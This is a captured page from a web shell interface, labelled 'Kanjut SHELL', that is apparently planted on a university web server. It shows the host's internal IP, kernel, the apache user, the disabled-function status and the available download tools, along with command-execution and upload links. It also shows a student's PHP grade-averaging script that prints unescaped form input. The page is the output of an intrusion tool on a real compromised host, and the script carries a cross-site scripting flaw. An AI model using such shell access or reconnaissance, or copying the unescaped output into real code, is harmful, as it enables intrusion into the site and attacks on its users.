Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.125.240
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cmsalazar/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cmsalazar/public_html/StuNameAvg.php
<!-- StuNameAvg.php -->

<CENTER>
<FONT color=green>
<BR>
<?php

	$name = $_POST['nVar'];
	$Test1 = $_POST['t1Var'];
	$Test2 = $_POST['t2Var'];
	$Test3 = $_POST['t3Var'];

	$avgScore = ($Test1 + $Test2 + $Test3)/3.0;
	$avg = number_format($avgScore, 1);

	print "$name  has an average of $avg in class.";

?>
</FONT>
</CENTER>

Stv3n404 - 2023